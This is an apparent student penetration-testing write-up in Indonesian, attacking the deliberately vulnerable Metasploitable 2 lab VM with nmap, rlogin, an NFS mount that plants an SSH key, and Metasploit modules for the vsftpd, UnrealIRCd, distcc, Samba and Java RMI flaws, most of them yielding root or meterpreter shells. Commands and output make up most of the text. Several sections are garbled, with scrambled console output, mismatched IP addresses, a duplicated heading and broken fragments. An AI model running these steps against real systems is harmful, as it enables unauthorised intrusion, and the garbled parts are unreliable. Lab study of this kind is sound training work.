

Penetration Testing Report

Metasploitable 2

0. Hasil Information Gathering dengan Nmap

```
root@yogikortisa-4311301040:~# nmap -n -p0-65535 192.168.40.2
Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-12 16:10 UTC
Nmap scan report for 192.168.40.2
Host is up (0.00063s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39641/tcp open  unknown
42503/tcp open  unknown
43710/tcp open  unknown
```

Penggunaan opsi parameter **-p** adalah dimaksudkan untuk scan seluruh port TCP yaitu dari port 0 sampai port 65535.

1. Missconfigures “r” services

```

root@yogikortisa-4311301040:~# rlogin -l root 192.168.40.2
The authenticity of host '192.168.40.2 (192.168.40.2)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.40.2' (RSA) to the list of known hosts.
root@192.168.40.2's password:
Permission denied, please try again.
root@192.168.40.2's password:

```

Muncul prompt yang meminta password, dikarenakan pada kali linux tidak terinstal program “rsh-client”, maka secara default Kali Linux akan menggunakan SSH untuk koneksi dan meminta SSH key untuk terhubung dengan target. Maka dari itu, kita coba instal rsh-client lalu lakukan kembali koneksi dengan rlogin.

```

root@yogikortisa-4311301040:~# apt-get install rsh-client
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libpython3.4-minimal libpython3.4-stdlib python3.4 python3.4-minimal
Use 'apt autoremove' to remove them.
The following NEW packages will be installed:
  rsh-client
0 upgraded, 1 newly installed, 0 to remove and 243 not upgraded.
Need to get 0 B/33,9 kB of archives.
After this operation, 135 kB of additional disk space will be used.
Selecting previously unselected package rsh-client.
(Sedang membaca basis data ... 315848 berkas atau direktori telah terpasang.)
Preparing to unpack .../rsh-client_0.17-15_amd64.deb ...
Unpacking rsh-client (0.17-15) ...
Processing triggers for man-db (2.7.5-1) ...
Sedang menata rsh-client (0.17-15) ...
update-alternatives: using /usr/bin/netkit-rsh to provide /usr/bin/rsh (rsh) in auto mode
update-alternatives: using /usr/bin/netkit-rlogin to provide /usr/bin/rlogin (rlogin) in auto mode

```

n

koneksi kembali dengan rlogin, tanpa diduga kita langsung diberikan akses **root** dari server target tanpa harus memasukkannya password! :D

2. Network File System (NFS) with Writable Filesystem

Kita coba identifikasi service NFS pada target dengan tool rpcinfo

```

root@yogikortisa-4311301040:~# rpcinfo -p 192.168.40.2
  program vers proto  port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp   33470 status
    100024    1   tcp   46476 status
    100003    2   udp    2049 nfs
    100003    3   udp    2049 nfs
    100003    4   udp    2049 nfs
    100021    1   udp   60614 nlockmgr
    100021    3   udp   60614 nlockmgr
    100021    4   udp   60614 nlockmgr
    100003    2   tcp    2049 nfs
    100003    3   tcp    2049 nfs
    100003    4   tcp    2049 nfs

```

Terlihat bahwa service nfs aktif pada port 2049. Kemudian kita lihat apakah direktori yang dieksport, ternyata adalah direktori /* dan bersifat writeable. Untuk memanfaatkan celah keamanan ini, kita dapat menggunakan service SSH (port 22) yang sedang aktif (open) pada target untuk mengirimkan SSH key kita ke folder **authorized_keys** pada target. Sebelumnya, mari kita buat SSH key dengan tool ssh-keygen, lalu buat direktori sementara untuk di **mount** pada direktori service nfs pada target yaitu direktori /.

```

root@yogikortisa-4311301040:~# mount -t nfs 192.168.40.2:/ /tmp/r00t/ -o nolock
root@yogikortisa-4311301040:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/ssh/authorized_keys
root@yogikortisa-4311301040:~# umount /tmp/r00t
bash: umount: perintah tidak ditemukan
root@yogikortisa-4311301040:~# umount /tmp/r00t
root@yogikortisa-4311301040:~# ssh root@192.168.40.2
Last login: Wed Mar  9 21:34:05 2016 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# █

```

Terlihat bahwa kita berhasil melakukan exploit melalui celah service nfs dengan mengirimkan SSH key ke folder authorized_keys target, sehingga ketika kita melakukan ssh kepada target, target tidak akan meminta password lagi.

3. VSFTPD Backdoor version

Diketahui bahwa versi service vsftpd (FTP server) pada target adalah **vsftpd 2.3.4** yang sempat pernah diberitakan bahwa telah disusupi oleh sebuah **backdoor** oleh orang yang tidak diketahui.

```
root@yogikortisa-4311301040:~# nmap -n -p21 -sV 192.168.40.2

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-03-10 11:21 WIB
Nmap scan report for 192.168.40.2
Host is up (0.00050s latency).
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 08:00:27:91:DF:B6 (Cadmus Computer Systems)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at h
Nmap done: 1 IP address (1 host up) scanned in 2.09 seconds
```

Kita dapat mengeksploitasi celah ini dengan memanfaatkan sebuah exploit yang terdapat di tool metasploit framework. Buka tool metasploit lalu cari exploit untuk celah keamanan pada **vsftpd 2.3.4**


```
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
uname[*] Found shell.
[*] Command shell session 1 opened (192.168.40.1:37043 -> 192.168.40.2:6200) at 2016-03-12 16:21:04 +0000
-
uname -a
uname: invalid option -- u
Try `uname --help' for more information.
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

4. UnrealIRCd Service – Backdoored

Sama seperti celah sebelumnya, ditemukan bahwa target menggunakan **UnrealIRCd** sebagai service IRC daemon yang diketahui belakangan telah disusupi oleh sebuah backdoor. Kita dapat mengeksploitasi celah ini dengan module exploit yang telah ada di metasploit juga untuk mendapatkan akses root target.

```
root@yogikortisa-4311301040:~# nmap -sV -p 6667 192.168.40.2

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-12 16:29 UTC
Nmap scan report for 192.168.40.2
Host is up (0.00032s latency).
PORT      STATE SERVICE VERSION
6667/tcp  open  irc      Unreal ircd
MAC Address: 08:00:27:A6:91:C9 (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.Metasploitable.LAN

Service detection performed. Please report any incorrect results a
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.65 seconds
```

```
msf > search unreal ircd
[!] Module database cache not built yet, using slow search
```

```
Matching Modules: 4 of 12 Automatic Zoom
=====
Id, Name, Disclosure Date, Rank
----
On port 6667, Metasploitable2 runs the UnrealIRCd IRC daemon. This version contains a back door that went
unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any
exploit/linux/games/ut2004_secure 2004-06-18 good
exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent
exploit/windows/games/ut2004_secure 2004-06-18 good
```

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show options
[*] Connected to 192.168.99.131:6667...
```

```
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
:irc.metasploitable.LAN NOTICE AUTH *** Looking up your hostname...
:irc.metasploitable.LAN NOTICE AUTH *** Can't resolve your hostname;
using your IP address instead
Name Current Setting Required Description
----
RHOST [*] Accepted the second client connect The target address
RPORT 6667 Command: echo ShMUy5fmGv0LHBxe; The target port
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
```

Exploit target:

```
Id Name
--
0 Automatic Target
[*] Reading from socket B
[*] B: "ShMUy5fmGv0LHBxe\x\n"
```

```
msf exploit(unreal_ircd_3281_backdoor) > set rhost 192.168.40.2
rhost => 192.168.40.2
[*] Matching...
[*] This is your...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257)
msf exploit(unreal_ircd_3281_backdoor) > exploit
```



```

msf exploit(unrealircd_3281_backdoor) > exploit
msf exploit(unrealircd_3281_backdoor) > set rhost 192.168.40.2
rhost => 192.168.40.2
msf exploit(unrealircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.40.1:4444
[*] Connected to 192.168.40.2:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 5u7JXMjbhGiF7F0e;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "5u7JXMjbhGiF7F0e\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.40.1:4444 -> 192.168.40.2:38918) at 2016-03-12 16:32:17 +0000

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
whoami
root

```

5. Ingerslock – Bakdoor

Diketahui service ingerslock sering disusupi backdoor pada portnya (1524). Kita dapat mengaksesnya menggunakan telnet dan ternyata benar, kita dapat langsung mengakses root d

```

root@yogikortisa-4311301040:~# nmap -sV -p 1524 192.168.40.2

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-12 16:37 UTC
Nmap scan report for 192.168.40.2
Host is up (0.00039s latency).
PORT      STATE SERVICE VERSION
1524/tcp  open  shell    Metasploitable root shell
MAC Address: 08:00:27:A6:91:C9 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds

```

Ini artinya service ini telah disusupi sebuah backdoor.

```
root@yogikortisa-4311301040:~# telnet 192.168.40.2 1524
Trying 192.168.40.2...
Connected to 192.168.40.2.
Escape character is '^]'.
root@metasploitable:/# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686 GNU/Linux
root@metasploitable:/# root@metasploitable:/# _
```

6. Distcc-exec

Pada celah keamanan service distcc ini diketahui bahwa attacker dapat mengeksekusi perintah yang diinginkan. Exploit untuk service ini juga sudah terdapat pada tool Metasploit Framework, kita dapat mencari dan menggunakannya.

```

msf > search distcc
[!] Module database cache not built yet, using slow search

Matching Modules
=====


| Name                          | Disclosure Date | Rank      | Description   |
|-------------------------------|-----------------|-----------|---------------|
| exploit/unix/misc/distcc_exec | 2002-02-01      | excellent | DistCC Daemon |


SMP Thu Apr 10 13:58:00 UTC 2008
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):


| Name  | Current Setting | Required | Description        |
|-------|-----------------|----------|--------------------|
| RHOST | 192.168.40.2    | yes      | The target address |
| RPORT | 3632            | yes      | The target port    |



Exploit target:



| Id | Name             |
|----|------------------|
| 0  | Automatic Target |



msf exploit(distcc_exec) > set rhost 192.168.40.2
rhost => 192.168.40.2
msf exploit(distcc_exec) > exploit

msf exploit(distcc_exec) > exploit

[*] Started reverse TCP double handler on 192.168.40.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo aAGKEIqc2Wg0Fk4y;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "aAGKEIqc2Wg0Fk4y\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 3 opened (192.168.40.1:4444 -> 192.168.40.2:4328)
6) at 2016-03-12 16:46:41 +0000

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686 GNU/Linux
whoami
daemon

```

7. Samba service - Backdoor

Ketika service samba dikonfigurasi dengan sebuah sharing file yang writeable dan "wide links" ter-enable, maka dapat dimanfaatkan celah tersebut sebagai backdoor untuk mengakses files

yang tidak diijinkan untuk disharing. Kita dapat menggunakan module exploit yang ada di Metasploit juga untuk kasus ini.

```
msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set rhost 192.168.40.2
rhost => 192.168.40.2
msf exploit(usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.40.1:4444
[*] Accepted the first client connection.
[*] Accepted the second client connection.
[*] Command: echo nibkC0z6APb5g0wz;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets:
[*] Reading from socket B
[*] B: "nibkC0z6APb5g0wz\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 5 opened (192.168.40.1:4444 -> 192.168.40.2:53272) at 2016-03-12 16:58:33 +0000

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
whoami
root
```

8. Java RMI Server

Dengan memanfaatkan celah default konfigurasi java rmi server yang mengijinkan loading classes dari remot URL apapun, kita dapat gunakan exploit yang ada di metasploit.

```

msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > set rhost 192.168.40.2
rhost => 192.168.40.2
msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(java_rmi_server) > set lhost 192.168.40.1
lhost => 192.168.40.1
msf exploit(java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.40.1:4444
[*] Using URL: http://0.0.0.0:8080/fn916jmAx51qxJ
[*] Local IP: http://192.168.1.119:8080/fn916jmAx51qxJ
[*] Server started.
[*] 192.168.40.2:1099 - Sending RMI Header...
[*] 192.168.40.2:1099 - Sending RMI Call...
[*] 192.168.40.2      java_rmi_server - Replied to request for payload JAR
[*] Sending stage (45718 bytes) to 192.168.40.2
[*] Meterpreter session 1 opened (192.168.40.1:4444 -> 192.168.40.2:55294)
    at 2016-03-12 17:07:14 +0000
[-] Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Se
rver didn't get a payload request
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > uname -a
[-] Unknown command: uname.
meterpreter > getinfo
[-] Unknown command: getinfo.
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Meterpreter  : java/java
meterpreter > _

```

9. Telnet (Port 21) - Banner Grabbing

Celah telnet yang tidak melakukan autentikasi (password), dapat dengan mudah kita manfaatkan untuk melihat informasi pada target.

```

root@yogikortisa-4311301040:~# telnet 192.168.40.2
Trying 192.168.40.2...
Connected to 192.168.40.2.
Escape character is '^]'.

metasploitable2

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Sat Mar 12 10:50:45 EST 2016 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin:

```

9. Telnet (Port 21) - Banner Grabbing

yang tidak melakukan autentikasi (pas
 wa untuk untuk untuk untuk untuk

10. Samba – smbclient

Ketika service samba dikonfigurasi dengan sebuah sharing file yang writeable dan “wide links” ter-enable, maka dapat dimanfaatkan celah tersebut sebagai backdoor untuk mengakses files yang tidak diijinkan untuk disharing. Kita dapat menggunakan module exploit yang ada di Metasploit juga untuk kasus ini.

```

msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set rhost 192.168.40.2
rhost => 192.168.40.2
msf auxiliary(samba_symlink_traversal) > set smbshare tmp
smbshare => tmp
msf auxiliary(samba_symlink_traversal) > exploit
[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[-] Auxiliary failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_OB
[-] Call stack:
[-] /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:259:in `smb_recv_parse'
[-] /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:1666:in `trans2'
[-] /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:1787:in `symlink'
[-] /usr/share/metasploit-framework/modules/auxiliary/admin/smb/samba_symlink_traversal.rb:60:in `run'
[*] Auxiliary module execution completed
msf auxiliary(samba_symlink_traversal) > exit
[*] You have active sessions open, to exit anyway type "exit -y"
msf auxiliary(samba_symlink_traversal) > exit
[*] You have active sessions open, to exit anyway type "exit -y"
msf auxiliary(samba_symlink_traversal) > exit
[*] You have active sessions open, to exit anyway type "exit -y"
msf auxiliary(samba_symlink_traversal) > exit -y
root@yogikortisa-4311301040:~# smbclient //192.168.40.2/tmp
Enter root's password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd

```

uah sharing file yang writeable da
 kan celah tersebut sebagai backdo
 uk disharing. Kita dapat
 exploit juga untuk kasus ini.

11. Shell Login (Port 1524)

```
1524/tcp open  shell Metasploitable root shell
```

Target membuka service shell, dan ternyata setelah dilakukan koneksi dengan **nc** kita dapat mengakses shell sebagai root tanpa harus memasukkan password!!!

```

root@yogikortisa-4311301040:~# nc 192.168.40.2 1524
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~#

```